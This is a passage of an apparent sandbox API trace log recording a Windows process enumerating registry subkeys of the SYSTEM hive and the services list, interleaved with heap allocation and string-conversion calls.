(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.153] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.154] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0244.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.155] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0244.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.156] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0244.156] RegCloseKey (hKey=0x150) returned 0x0 [0244.156] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.156] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.156] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0244.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.157] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.157] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.157] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0244.157] RegCloseKey (hKey=0x154) returned 0x0 [0244.157] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0244.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1df0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.158] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0244.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1df0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.159] RtlFreeHeap (HeapHandle=0x2520000, 